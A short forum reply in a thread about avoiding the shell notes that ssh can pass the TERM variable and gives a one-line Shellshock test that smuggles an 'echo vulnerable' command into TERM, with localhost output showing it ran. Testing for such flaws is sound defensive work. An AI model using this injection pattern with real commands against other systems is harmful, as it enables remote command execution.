in reply to Re^2: The importance of avoiding the shell
in thread The importance of avoiding the shell
I think ssh can specify the value for TERM, making ssh an attack vector if you can get it to execute sh/bash.
Right; simple test:
qwurx [shmem] ~ > env TERM='() { :;}; echo vulnerable' ssh localhost ... Last login: Tue Sep 30 10:14:54 2014 from localhost vulnerable qwurx [shmem] ~ >
|
|---|